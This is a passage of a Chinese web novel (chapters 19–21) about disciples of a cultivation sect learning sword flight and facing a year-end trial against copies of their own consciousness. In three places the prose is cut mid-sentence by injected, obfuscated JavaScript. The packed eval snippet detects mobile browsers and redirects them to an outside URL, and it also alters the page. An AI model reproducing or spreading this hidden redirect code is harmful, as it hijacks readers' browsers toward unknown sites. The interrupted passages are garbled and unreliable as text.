此时昭意正在另一边,为不得要领的师弟师妹们讲解注意事项,讲完一抬头,发现有几人正试图在空中做高难度后空翻。 他眼皮一跳,赶忙叫停了那几个炫技的愣头青。 作为这堂课的负责人,他不得不再度强调:“大家务必做好安全措施,想挑战高难度不是不行,但最好去山泉那边,掉下来能有水接着。” 声音不大,但在场的每个人都听得清清楚楚。 没想到这位昭意师兄还挺尽责,换以前来给他们上课的那些师兄师姐,多半是不管这些的。 疯玩的弟子们收敛了不少,谁也不想在昭师兄面前留下坏印象。 发表完重要讲话,昭意巡视了一圈,很快发现僵立在半空的萧唤月。 在一堆飞蚊般乱窜的弟子中间,静止不动的萧唤月显得格外扎眼。 与此同时萧唤月也在看他。 原来这节课的小老师是昭意......早知道是他的话,她就没那么紧张了。反正她的底细和斤两他一清二楚,不用打肿脸充胖子。 昭意朝她投去一个鼓励的眼神,嘴里说着些什么,看口型是“不懂就问”。没办法,这种法术还得靠自己摸索,别人帮不上太大的忙,萧唤月的理论知识已经过关,差的是实践。 19. 第 19 章 言隐睁开一只眼,看了看一股子浩然正气的原书男主,心中涌起淡淡的危机感。但片刻后他眼皮又垂了下去,百无聊赖地抠着地皮。 能怎么办,总不能把萧唤月眼睛蒙起来吧。他已经在尽力减少她与昭意的接触机会了,可若是命中注定她非要爱上昭意不可,那他也只能遗憾退场,回去继续当个逍遥鬼王。 原书全剧情言隐已经抽空看过了,着重描写的是女主路承蕊和男主昭意细水长流的爱情线,这两位师出同门,下山游历,一路携手打怪,还捎上了个电灯泡白月——书里萧唤月不叫萧唤月,言隐看得还挺不习惯,不太好代入。 总之男女主是十分般配的一对璧人,实在没有他人插足的余地。在两人眉来眼去刀和情意绵绵剑的无形夹击下,白月只剩下顾影自怜的份儿。 最后白月回到里云宫,继任宫主。当日宴请八方仙客,却被妖族抓住这个时机一举攻入宫中,企图血洗修仙界,将现行秩序推倒重来。 这场战役的结果可想而知,虽然损失惨重,但好险是赢了。此后,人族依然压妖族一头,掌握着下界话语权,坐拥仙山灵脉,掌握资源大头。 穿越女白月就死在这场战役里,最后也不知回没回得了家。 言隐没看出什么有用信息,老实说他觉得剧情转折挺生硬,很多该交代的地方都没交代清楚,里子还是一本单纯的恋爱小说。高光多在男女主,感情线稳扎稳打,时不时闹点甜蜜的小矛盾,但最后总是能重归于好。 白月铁炮灰一个,戏份少得可怜,前期变着花样充当男女主助攻,后期基本不冒头,也就结局出来刷了个脸,为男主挡了一剑后直接美美下线。 唯一有点儿意思的是白月她哥,原书里竟然真有这么一号人。因为一则预言,他出生后便被送到玉胥宗,断了与白家的亲缘关系。 兄妹俩的名字在出生前就已经起好,哥哥的名字叫白曜。 然而他被改换了姓名,在玉胥宗毫不知情地生活了十余年,直到一位长老无意间透露了他的身世信息,他才有所察觉,顺着那只言片语抽丝剥茧,私下里偷摸查出了自己的身世。 知道真相后的白曜心态失衡,执拗地改回了本名,要回里云宫认亲,却被生父白江拒绝。 一母同胞的亲妹妹与他的命运大不相同——被白家视为掌上明珠,是人人称道的年轻一辈的翘楚。 下一任宫主之位几乎板上钉钉,即使白月不那么听话,甚至为了追寻所谓的“自由”闹过一阵离家出走,但对于白家人来说,那只不过是与幼兽龇牙同等程度的威胁,不痛不痒。 她最终会顺着父母安排好的路走下去,接过他们身上的担子。 而白曜还没来得及见上妹妹一面,就像条流浪狗一样被赶回了丘山,好不狼狈。 回到玉胥宗后,白曜心魔一日重过一日,终于在修炼时走火入魔损了根基,修为再不得寸进。 后来在一次下山任务中他勾搭上了妖族,改修邪道,并且暗中通敌,为日后的大战添了把火。 不得不说,在原书中白曜是一款很好用的工具人,戏份占比与妹妹半斤八两,却发挥了百分之二百的作用。不仅能推动剧情发展,还能在男女主的感情戏中充当炮灰二号的角色。 要不说是亲兄妹呢,一个喜欢男主爱而不得,一个暗恋女主求之欲狂,某种程度上来说,这俩堪称炮灰对照组。 白曜早就对路承蕊情愫暗生,在根基受损后自知比不上光芒万丈的昭意,心理更加自卑扭曲,这也是他改修邪道的原因之一。 结局提到,白曜在大战后不知所踪,多半已是死尸一具了。就算没死,他也只能隐姓埋名苟且偷生——二鬼子到哪儿都讨不了好,无论是修仙界还是妖界,再没有他的立足之地。 说来唏嘘,这对兄妹从生到死都没能正儿八经见上一面,各走各的剧情,各当各的炮灰。 言隐注视着半空中颤颤巍巍试图提升高度的萧唤月,心想,这剧情偏移得也太厉害了点。 兄妹俩直接来了个处境对调,现在萧唤月倒成了被送养到玉胥宗的那一个......甚至还没被送到目的地,就被不知名人贩子拐了一遭,在世俗界做了十六年凡人才站上修仙起跑线。 可据言隐观察,萧唤月半点黑化的苗头也无,似乎不会走上原书亲哥的道路。 大概因为她是魂穿过来的,打心底里就没把自己当成白家的血脉,所以心态还算良好,没有不平衡,更不曾想过要去白家认亲。 “萧唤月。”言隐双手合拢作喇叭状,“别怕,继续往上!” 这轻薄的剑身带给萧唤月的安全感着实有限,如果她能自己选武器,一定会更偏爱花梁燕用的那种重剑。 听见言隐的呼唤声,她心一横往上又蹿了两丈,竭力稳住气息。 “已经进步飞速了。”言隐鼓掌。 这倒是实话,一个月前她连站都站不上去。 白衣少女轻飘飘飞到萧唤月身边,拍了拍她的肩:“一起飞吗?” 这女孩儿名叫左良玉,是与萧唤月同住的女修之一,比她早来半年。 左良玉的父母也是师承玉胥宗,如今在南方一处山谷中居住,负责那里的药田种植。 由于父母都是修士,左良玉从小耳濡目染,基础功自然不会落下,在正式拜入玉胥宗之前,她就已经突破筑基境界。 “别愣着,来呀。”左良玉牵起萧唤月的手,脸上的表情说不清是作弄还是嬉笑,蝶尾一样的裙摆起落,拉着她瞬间飞出去十几丈远。 好似有人给自己来了个氮气加速,萧唤月惊慌失措:“良玉,慢点,我......” “你的剑又不稳了。”左良玉垂眼看到萧唤月脚下的剑身嗡鸣,嘴角一撇,眼神稍显嫌弃。 萧唤月赧然:“我控制不好。” “你其他小法术不是学挺好?”左良玉仿佛有意炫耀,灵活地转到左边,转到右边,又猛地凑到萧唤月脸前,“一直没问,你什么境界了?” “应该快要筑基了。” 萧唤月面上有问有答,心里却有点烦躁,就不能自己玩儿自己的吗,来找她干嘛...... “那你年末选拔大赛可危险了,搞不好明年还要继续当打杂的。”左良玉花蝴蝶一样围着她转来转去。“加把劲吧,嗯?” “......嗯。” “你父母做什么的?” “做生意的。” “卖药材么?挺多人干这个。” “只是些寻常生意。”萧唤月笑了笑,“米油瓜果,茶叶香料。” 左良玉啊了一声:“世俗界的产业?” “是。” 在萧唤月耐心快要耗尽之际,左良玉总算收起了好奇心,不再叽叽喳喳地问问题,只哼着小调儿飞来飞去,试图拉萧唤月去更远更高的地方。 萧唤月抱怨:“再高就不行了,我的剑越来越抖。” 左良玉:“不要,你快点控制住它,我想去那里摘花。”她指向前方一处峭壁。 萧唤月摇头:“你自己去吧。” “不,自己玩有什么意思。” “秦喜呢?你平常不是都跟她一起。” 秦喜作为萧唤月的另一位“室友”,于今年年初拜入宗门,是三人小院中来得最早的一位。 “小喜的御剑术已经很熟练,告假没来,练别的去了。”左良玉叹气,“真努力啊,我也想告假的,可惜传道堂那边的师兄没给批。” “为什么?” “师兄不信我请假是要为了修炼,他认为我只是想偷懒。” 萧唤月了然,无论在哪个世界的课堂,好学生的信用值总是更高。就像她以前读书的时候,“作业没带”这种借口,在有些人嘴里好使,在有些人嘴里那就等同于“作业没写”。 左良玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14273228|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又去拉萧唤月的手,拉了两下没拉动。“你......” 萧唤月铁了心:“我不去。” 峭壁底下是嶙峋的乱石,她的护体清气现阶段还不够厚实,摔下去可不是闹着玩儿的。 “别怕嘛。”左良玉围着她绕了一圈,“你试试,把御剑当成呼吸一样自然的事。” 萧唤月抿了抿唇,为难道:“可是,很难放松下来......” “平常你也不会刻意维持自己的呼吸节奏吧?但呼吸从来没停止过。所以,你可以适当转移些注意力,别一直挂念着剑的存在了。”左良玉给她支招。 说完左良玉再次去拉她的手,这次倒拉动了,只是慢得跟龟爬一样。看萧唤月出了一脑门的汗,左良玉知道她是真紧张,没再出声催促。 两人慢慢往峭壁的方向靠。 攀住石壁上一块凸出的地方,萧唤月后怕地抚胸口:“终于到了。” 左良玉翻了个白眼:“我刚才听到有人笑咱们飞得慢。” “我也听到了。” “要不是你拦着,我就去揍他了。” “我没想拦着。”萧唤月嘻嘻一笑,“可你要是走了,没人扶着我怕摔......” “出息。” 峭壁上的花儿确实美丽,淡紫色的花瓣掐了白边,香气幽幽。 “好漂亮,是不是?”左良玉很戏剧化地双手捧颊,一脸陶醉,“远看就已经很漂亮,近看更美,摘回去喂点小法术,可保持数日不枯萎,别在衣领上还能留香。” 萧唤月看着也有点心动:“是挺好看的,不知道能不能移植几朵,种在院里。” “别想了,一共就三朵。”左良玉摘下中间的一朵给她,“这是你的。” 左良玉两根手指松垮垮夹着花茎,萧唤月怕她一个没拿稳把这玩意儿掉下去,连忙伸手去接:“......哦,谢谢。” “另外两朵是我的。” 萧唤月摊手:“请便。” 喜滋滋地分配完,不曾想半路杀出了个横刀夺爱的。左良玉还没来得及伸手,那花儿就让人给摘去一朵,剩了一朵最小最蔫的。 左良玉一声哀嚎:“啊!” 言隐踩着剑,在半空中抱臂而立,语气是理直气壮:“我的了。” 左良玉定睛一看,气不打一处来:“你一个男的,同我抢什么花?” “男的怎么了。”言隐吸了口花香,“挺好闻嘛,我要了。” 他露出个顽劣的笑,两指并拢搭在太阳穴,往前一送,向萧唤月做了个“再见”的手势。 左良玉没看懂,一脸莫名:“搞什么怪动作,花快还我。” 言隐下一瞬如离弦之箭一般冲了出去,用行动证明了他不准备还。 左良玉不服输地想要跟上,嘴里骂骂咧咧。 两人围着萧唤月展开了一场追逐赛,言隐有意作弄人,时快时慢,搞得左良玉更加火冒三丈。 萧唤月则晃晃悠悠飘在两人的包围圈中间,试图调停。她此刻犹如夹在两个鬼火少年之间的拐杖老奶,拦不住任何一人,只能听着摩托轰鸣声吃一嘴尾气。 但她没意识到自己对御剑术的应用正愈发得心应手,就算没有左良玉在旁边当支点,她也能自己在这高度飞上一段了。 一刻钟过去,言隐和左良玉的追逐战还没有停下来的兆头。 萧唤月深知言隐的德行,除非他觉得没意思了才会停下来,连昭意在下面叫停都假装听不见。 有了带头违纪飙速的,剩下的弟子也开始蠢蠢欲动。没过多久,有人再次偷摸尝试起了御剑后空翻,且还是在乱石丛生的危险地带。 昭意眼尖地看过去,严肃道:“不可以!” 场面一度陷入混乱,萧唤月头疼地捂住脑袋,颇为熟练地躲避冲撞。 ......真想拿苍蝇拍把这些违章乱飞的家伙都打下来。 20. 第 20 章 离年末选拔大赛的日子越来越近,萧唤月心里多少也有了点紧迫感。 同院的秦喜日日早出晚归,课余时间不是去藏经阁看书,就是去演武场练剑,或者找个灵气充裕的好地儿,打坐修习。 萧唤月偶尔与她碰面,只需对上眼神,便能收获一句来自秦喜的问候—— “练得怎么样?” 萧唤月只能回复说还行。她进度实在落下了太多,哪怕勉力追赶也不敢说十拿九稳。 但她琢磨着,就算没被选上也不是什么大事,今年不行就明年,明年不行就后年,复读的机会又不是只有一次,权当打基础了。 抱着这样的心态,萧唤月并没太慌乱,依旧按照她自己的节奏,稳中求进。 最近萧唤月得到消息,今年的考核形式有所变化,采取了更具创新性的赛制。 其实每年选拔赛的形式都不尽相同,采用次数最多的是擂台一打一式的切磋比武,但长老们偶尔也会启用另类的考验方式。 今年会是什么,萧唤月不得而知,总归都是要考验真本事的。 时间一晃而过,旧岁将除,改换新岁。亭台楼阁各处檐角都挂上了大红灯笼,山道枯枝覆上新雪,依稀有了点过早年的氛围。 萧唤月撑着把油纸伞在小路上走。这点飘雪其实淋不着她,有内力护体,连头发都打不湿。但这把伞是她花高价钱从同门那儿买的,伞面绘了一枝遒劲红梅,她很喜欢。 买了不用等于白买,她稳稳握着伞柄,一步一个脚印,往藏经阁方向去了。 之前得言隐启发,她才知道锻器阁也是能接私活的,弟子们可以按需定制自己喜欢的兵器。 言隐给自己搞了一套柳叶飞刀,共十二柄,刀身薄如蝉翼,不用的时候贴在大腿外侧,或绑在袖中、藏在腰间,随取随用,方便极了。 萧唤月看得羡慕,去锻器阁给自己也打了一柄苗刀,果真修长细韧似禾苗,令她爱不释手。可惜玉胥宗只□□授剑法,不教长刀,她只能自己去藏经阁翻找与苗刀相关的教学秘籍,抽时间自学。 她常用的玄铁剑依旧配在腰间,遇到情况方便及时抽刃,长刀则放进储物戒,遇到特殊情况也能悄摸拿出来打对面一个措手不及。 算算也该到年末考核的时候了,萧唤月寻思,既然不是一对一切磋,难道是秘境试炼? 通讯符突然响起,萧唤月步伐一滞,凝神去听。 孤水长老平稳无波的声音从符内传出,言简意赅,通知所有参加本次选拔的外门弟子立刻到重息峰巨木林集合。 难道考核这就要开始了?萧唤月心里一紧,收了伞,御剑往巨木林赶。 但长老没说要在林内哪处位置集合,也没有定标志物。大家只能跟无头苍蝇似的,从各个方向赶过来,一头扎进幽深宽阔的巨木林。 萧唤月找了根树干靠着坐下,等待下一步指示。半个时辰后通讯符果然再次响起,这次是传功长老八万春: “弟子选拔即将开始,本门长老通过视灵全程观赛,诸位尽可各显身手。巨木林周围已布下结界,成功击杀意识体的弟子才能走出巨木林。这次,你们的对手是自己。遥祝各位好运。” 说完这话后通讯符彻底安静下去,萧唤月听得有些云里雾里——意识体是什么东西?还有“你的对手是自己”这句话又什么意思? 她试着用通讯符联系言隐,可那边只传来一阵杂音。在巨木林范围内,弟子间的远程传音手段被禁止了,通讯符暂时只能成为场外长老们单向传音的工具。 萧唤月观察起周围环境,地面,树干,枝头......许多隐蔽的角落都刻着不起眼的符号咒文,想来这片区域已经被提前布置过了,一动一静都尽在长老们的掌控之中。连“信号”都被切断,显然长老们不鼓励组队行为。 巨木林俨然成了个硕大的玻璃罩子,将弟子们拢在其中。 人走不出去,雪花却能飘得进来,萧索的冷意在林中蔓延。 萧唤月在积雪中深一脚浅一脚地往前走,神经始终紧绷着,手指轻轻搭在剑柄上。 与此同时她还在思考着八万春的话。既然话里表明了要击杀“意识体”才能过关,那说明这东西就是她的敌对方,可八万春又说“对手是自己”,所以意识体等于她自己? 走了许久,半个人影也无。 这片林子实在太大了,树木又高得出奇,遮天蔽日的架势好似要吞没一切闯入林中的不速之客。 巨树的树皮遍布龟壳状的裂纹,像某种巨兽的鳞片。萧唤月置身其中有点头皮发麻,停下脚步,略感迷茫地环顾自周。 视线受阻,雪雾弥漫,举目一片白茫茫,能见度十分有限。 她心中忽地生出一股不妙感,什么念头闪电似的一闪而过,没能抓住。 走两步,停下来,再走两步。寂静的空间内只有她的脚步声沙沙作响,令人不安。 萧唤月拔出佩剑,寒光一闪,剑身嗡鸣,面前并没有敌人。 可突如其来的不安感让她寒毛直竖,她相信自己的直觉,把剑横在身前,试探性地又走了一步。 松软的雪在脚下被压实,发出令人牙酸的窸簌声。 她集中精神去听周围的动静,像在玩一二三木头人的游戏那样,走走停停。下一刻福至心灵,她猛地回头,终于意识到哪里不对劲! 一直有一道及其微弱的杂音混在她的脚步声里,在她停住不走后,那声响还会持续个半秒左右,但几乎是与她的脚步节奏完全重合。 像是利用她的脚步声作掩护似的。 萧唤月辨别出声源藏在树干后面,一点没犹豫地回身持剑攻了过去。 剑尖挟裹着风雪凛然而至,却刺了个空。 银朱色的裙裾一闪,树后那人反应很快地飞身后退,与萧唤月拉开了距离。 看见对面那张与自己一模一样的脸,萧唤月愣了一瞬,后知后觉地明白了八万春长老那句话—— “你们的对手是自己。” 对面那张脸露出了一个奇特的微笑,好像小女孩儿恶作剧得逞似的。萧唤月看得鸡皮疙瘩都要起来了,抬剑稳稳对准了她。 “你就是我的意识体?”萧唤月轻声问。 对面的人没承认也没否认,只用略微嘲讽的语气道:“我以为你会更早发现我呢。” “......” 这股欠欠的劲儿,怎么跟她熊孩子时期一模一样? 剑光乍现,萧唤月再度攻上,对面险险躲过,被削断了一缕长发。 “其实打自己有点下不去手......”萧唤月轻轻吹了口气,吹落缠绕在剑身上的发丝。 她一套剑招使得行云流水,但对面的意识体躲得也快,似乎继承了她的战斗技巧与记忆,总能见招拆招,甚至还有一把跟她一样的玄铁剑。 意识体怒道:“我没看出来你不忍心!” “......你可真难杀。”萧唤月抱怨。 对面的“萧唤月”也没跟她来虚的,招招狠厉不留手。然而意识体用的那把玄铁剑只是徒有其表,并非真用玄铁打造而成,威力自然不如正品。 现在的情况是,意识体打不过本体,可一时半会儿也输不了。 这可能会是一场持久战,倘若继续打下去的话,最后赢的会是萧唤月。 两人都意识到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14295548|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了这一点,“萧唤月”收起剑,脚尖点地跃上枝头,直接轻功跑路。 “别跑啊!” 萧唤月紧随其后穷追不舍,可论轻功而言二人水平不分上下,距离始终无法拉近。 意识体可以感知到本体的方位所在,仅凭这点,“萧唤月”很不容易被逮住。她在树梢雪地间游走,灵活地像只兔子。 在这场捉迷藏式的追捕游戏中,她谨慎地控制着自己与本体之间的距离。 离本体越远,意识体的力量就越弱,可离太近的话又有被杀掉的风险......“萧唤月”犯了难,有些不知该怎么办才好。她不认为自己是冒牌货,只是被阵法分离出来,失去了对本体的控制权。 她和她拥有完全相同的外貌、记忆......连用剑的习惯都一样。“萧唤月”不服,既然都一样,凭什么去死的非得是她,而不能是另一个? “萧唤月”朝不同方向扔出几枚石子,树枝颤动,积雪抖落。循声而来的萧唤月被这障眼法所迷惑,有些不确定该往哪个方向追。 而“萧唤月”就在离本体不远的位置,躲在树冠中,窥伺着下面的人。 “萧唤月”心知肚明,自己如果被杀掉,必将重新回归主体,到那时便再没有如今这样的自由了,她不想看到那样的情况发生。 该怎么样才能在保留独立意识的情况下抢夺身体控制权呢? 正在忧愁之间,“萧唤月”眼风一斜,瞥到了一个熟悉的人影。 站得高望得远,她身在高处,对于下方局势看得便格外清楚,言隐只需再往前走一段,就能跟萧唤月碰上面了。 她脑瓜飞速转动,心里一慌。言隐要是也帮着萧唤月来捉她,她可讨不了好。 稍加思索后,她卡着位置轻轻落地,挡在言隐身前,还没站稳,就伸手去捂他的嘴。“嘘。” 言隐看见是她,顺从地点了点头。他是寻着萧唤月的气息一路找过来的,目的就是要与她汇合。 这儿正好位于萧唤月的视线死角。 “萧唤月”得意于自己截胡了那两人的见面,引着言隐往反方向走了一段,才停下道:“小声点,周围有怪物。” 言隐了然:“你也看见那家伙了?” “啊?” “就是你说的怪物啊。”言隐兴冲冲的,“她是不是跟你长得一样?我也遇到了一个,但他好像不想跟我打,现在不知跑哪里去了。” “萧唤月”看了他半晌,忽然笑道:“没关系,我们一起去找吧,那个跟你长得一样的怪物,还有跟我长得一样的怪物......统统找出来,把他们杀干净,然后我们就能离开这鬼地方了。” “好啊。”言隐一口答应。 “这阵法真有意思......搞一堆克隆人出来。”言隐跟女孩儿说起自己一路上的所见所闻,“我从东边过来的,半路遇见了邓相许,他也在跟自己对打。赢面本来挺大,可惜还没过上几招,旁边冲出来一个人把他那意识体给杀了。你是没看见,邓相许气得脸都白了。” “萧唤月”没搭腔,她正密切关注着本体动向,犹豫要不要拉上言隐一起去干架。她虽已抢先一步把言隐划入己方阵营,但就怕他没轻没重,把她本体打得稀烂可怎么办? 在言隐眼里她是在毫无目的地乱窜,时走时停。 他像条尾巴似的跟在她身后:“你有没有在听我说话呀?” “萧唤月”敷衍道:“听着呢。” “总之。”言隐语气认真了几分,“跟你长得一模一样的那个东西,是你通关的钥匙。别让人家捷足先登,把你的钥匙毁了。” “萧唤月”意味不明地嗯了一声。 21. 第 21 章 雪越下越大,萧唤月在林中迷失了方向。剑尖垂地,在雪面上划出一条凹痕迹,可很快新雪就覆上了旧雪,把痕迹抹得干干净净。 跟丢了?她烦躁起来,倘若要在这么大一片林子里玩躲猫猫,她找上三天三夜都不一定能逮住那意识体。 可转念一想,观战的长老们应该不想看弟子们全都在巨木林里瞎晃悠,满地图找人吧?必然会有某种限制条件,以促使弟子们能与“意识体”相遇。 比如......意识体其实不能离本体太远? 前方有脚步声响起,萧唤月握剑的手一紧,顾不得再多加思考,只全身心戒备眼前可能出现的敌人。 “萧唤月?”来人叫出了她的名字,“是你么。” 熟悉的声线令她心头一松。 “是我。”她反问,“你那边什么情况?” 少年加快脚步奔向她,得意洋洋地想,终究是自己更快一步找到了萧唤月。 “我来找你了。”他语气轻快,“这里很危险,不要离开我身边。” 他冲过来的时候一点儿力道也没收,胸膛正撞上萧唤月的额头。 好似撞上了一堵移动的墙,萧唤月被撞得眼前发黑,脚下失衡,险些摔进雪堆里。 没有摔倒的原因是少年紧紧抱住了她,一手扣住她的后脑勺,一手扣在她腰间。 猝不及防与少年来了个紧密接触,萧唤月一口气差点儿没上来,感觉肺里的空气都要被这一抱给挤出去。 少年的怀抱比风雪还冷,萧唤月被冻得打了个哆嗦,运起内力都无法抵御这刺骨严寒,这人真是冰块做的。 “言隐,松开......” 她啧了一声,不舒服地想要推开,却被他更紧地按在怀里,脸蛋都被挤压得变了形。 “其实我也不喜欢这样。”他声音含含糊糊,“但肢体接触可以提高好感度......书里说的。” “什么?”萧唤月没听清他的咬字。 “有多喜欢我一点么。” 他记得书里还说,在紧张或刺激的环境下,人们容易将生理反应误解为情感吸引,比如,把因恐慌而产生的心跳加速误认为是对身边异性的心动。 昏暗无光的雪夜,危机四伏的巨木林......这环境还不够刺激吗? 少年在心里呼唤系统:“她好感度有没有涨?” 没有回应。 被分离出来的意识体当然不会被系统认定为宿主,他问也是白问。 他自欺欺人地想:系统出故障了。 “言隐”终于松开萧唤月,又问了一次:“有更喜欢我吗?” 萧唤月冷下脸:“没有。” “言隐”闷闷不乐地伸出手:“那再抱一次,刚才没抱好,撞到你鼻子了。” 说着就要去搂她,却被萧唤月一个矮身躲了过去。 “你究竟怎么了?”她皱眉打量他。 “我没怎么啊。”他面带不解,一把抓住她的手腕,令她后退不能,“天都要黑了,你一个人......不害怕么?我这时候出现在你面前,拥抱你,保护你,为什么你反而这副表情。” 萧唤月沉默着想要抽出手,却没想到这次挣脱得如此轻松,一时力道没控制住,小臂顺着惯性,轮圆了甩出去。指甲刮过“言隐”脖颈,留下一道稍纵即逝的红痕,手背还在他右颊上甩了一耳光。 清脆的一声响。 萧唤月愣住了。 “言隐”也有些意外,摸了摸被打的地方,低头不知在想些什么。 过了会儿他喃喃:“挺疼的。” 萧唤月下意识地:“抱歉。” 对面的少年沉默了会儿,突然没头没脑地问了句:“你抹护手霜了?” “......” 萧唤月哪怕再迟钝也该发觉出不对劲了。言隐平日里虽说不着调,但也没不着调到这种程度。 她立刻猜到了另一种可能性——面前的人不是言隐,而是言隐的意识体。 这些意识体的心智似乎停留在一个较低的水平,行为举止较本体而言要直白得多。 萧唤月若有所思地抬眼,对“言隐”道:“接下来我们一起行动,可以吗?” “言隐”笑了:“当然。” * “你确定是往这里走吗?我都看不见路了。” “萧唤月”抬手抹了把脸,拂去睫毛上细小的冰晶。她笃定:“是这个方向没错。” 但本体一直在移动,她想要追上对方的话,就得用更快的速度前进才行。 她催促言隐:“快一点。” “现在应该已经有人走出结界了吧?”言隐脚步没停,嘴上半真半假地抱怨,“这通关方式真够匪夷所思的,消灭意识体......还不如让我打擂台呢。” “打擂台的话,我对上你怎么办?” “那肯定我赢。” “我还以为你会说给我放水。” “我不打假赛。” “噗。” 言隐:“笑什么?” “萧唤月”眯起眼睛,眉尾一扬,神态活脱脱一只小狐狸,带了点狡黠的调笑:“没什么,只是想看看你能为我退让到什么地步。” “......如果你一定要,那我可以放一点点水。” “用不着,我只是随口一问。”她忽然道,“我早看出来了,你接近我是别有目的吧?一副不得不讨好我的样子。” 窗户纸就这么被戳破了,言隐一怔——有这么明显吗? 他嘴还硬着:“我才没有讨好你,我只是......做自己想做的事。” “无所谓。”她满不在乎地说,“不管你是不是别有目的,反正我们现在是同一阵线了。” 良久,言隐低低“嗯”了一声。 她又道:“帮我个忙。” “什么?” “我的意识体很棘手,如果逮到机会,你帮我控制住她。” “可以。” 这就是“萧唤月”想出来的办法。她只需要言隐控制住本体,让本体意识陷入休眠状态,然后她就可以试着抢夺身体控制权。 前方雪雾中人影绰绰,“萧唤月”露出警觉的神情,同时不忘提醒言隐:“已经很近了,做好准备。” 言隐在指尖吹了口气,下一刻空中飘荡的雪花就像灰尘那样被一扫而空,视野骤然变得清晰,他看到了对面的一男一女,长着与他和萧唤月一样的脸。 “好啊,全在这里。”言隐兴奋地拔剑,“省得我们再费力去找了,一网打尽!” 很快雪雾再度聚拢,对面的人影重新变得模糊起来。 像是忽然打响了比赛开始的信号枪,四人几乎同时动了。 大家都很有默契地率先攻击与自己长得一样的人,剑光纷乱,还夹杂着柳叶飞刀破空而来的呼啸。 “虽然你长得像我,但我才是真的!”这是言隐声音。 “呸!只有儿子像老子,哪有说老子像儿子的?”这也是言隐的声音。 一时难分胜负,场面陷入胶着。 萧唤月想快些结束,循循善诱道:“就让我杀了吧,你不会消失的,只是重新回到本体......你就是我啊。” 对面冷笑一声当作答复。 看来是谈不拢了。 萧唤月正要再度攻上,却突然发觉周围不知何时涌起了黑雾,置身其中,仿佛身体所有热量都被汲走,她拿剑的手开始不稳。 这么阴间的技能......是言隐的? 萧唤月和她的意识体不约而同停了手,看向另一边的战场。 “言隐!”萧唤月想提醒他,有视灵在,此举无异于自爆身份。 她的意识体也很着急:“说好帮我的!怎么光顾着自己打得开心。” 一柱香后黑雾散尽,言隐的意识体不见了。只剩他一人站在原地,衣服破了几道口子,但没见伤。 对于以剑招相拼的修士来说,意识体与本体的战斗水平相近,只能靠武器优劣和内力的深浅来拉开差距。 这批外门弟子年纪尚轻,自然谈不上有多深厚的内力。况且意识体自带透视功能,可知悉本体方位,因此弟子们与意识体的战斗多半会演变成漫长的拉锯战。 可对于言隐来说,他的意识体就差得远了,比如刚才那招,只有本体才能使得出来。 “言......”萧唤月正欲开口,却被言隐一把扣住了脖子,惊恐交加之下她把剩下的话吞了回去。 细长的手指搭在她动脉上,缓缓扣拢。 “萧唤月”喜出望外:“对,就是这样,控制住她别动,我来研究研究。” 言隐听见她的话,目光一滞:“......对不起,我抓错了。” 他立刻松开了手,要去抓“萧唤月”。 “萧唤月”又惊又怒:“言隐?我们可是同一阵线的!” 言隐:“可我觉得她比较像真的......” “我们都是真的。”萧唤月示意他让开,“我自己来。” “哦。”他退到一边。 “言隐,你知道周围有视灵吗?”萧唤月想起刚才的事,扭过头去问他。 “我把视灵掐灭了。”言隐说,“而且附近也没有人。” 萧唤月点了点头,看来长老们并没能目睹刚才那场战斗。 言隐低声道:“但已经有新的视灵在往这边飘。” 萧唤月:“这回别掐灭了。” 围观着这两人的窃窃私语,意识体开始萌生退意,现在是一对二的局面,她知道自己陷入了劣势。 抓住萧唤月分神的空档,意识体拔腿就跑。 好在萧唤月这回早有准备,手中长剑像标枪那样投出去,剑光交织成网,截住了意识体的退路。 “刚才我就一直在想,长老们颇费心力布下这个阵法,应该不只是为了看我们打架吧。”萧唤月慢吞吞道,“毕竟被分离出来的意识体逊于本体,这种既知结果的打斗,能有多少观赏性。” “切。”感觉有被侮辱到,意识体恨恨地放弃了挣扎,“要杀要剐随你便。” 像是结束了规定的玩耍时间,即将被家长强行带回家的熊孩子一样,意识体脸上写满了不服气,还有一丝微妙的不舍。 萧唤月接着道:“所以我猜,重要的是过程,而不是结果。” 她把自己的剑扔到一旁,对意识体道:“既然你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14341597|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不想被我杀掉,那你来杀我试试。” 意识体:“?” “结果应该都是一样,你融入我,或者我融入你。”她催促,“下手吧。” 意识体被她这运筹帷幄的姿态唬住,斗志已经消退了大半,恐慌之色一闪而过:“你疯啦?” “不,我只是相信你就是我。”萧唤月解释,“你杀了我,我杀了你,性质都一样。” 萧唤月姿态放松,没做任何格挡,要害明晃晃暴露在对方眼前。 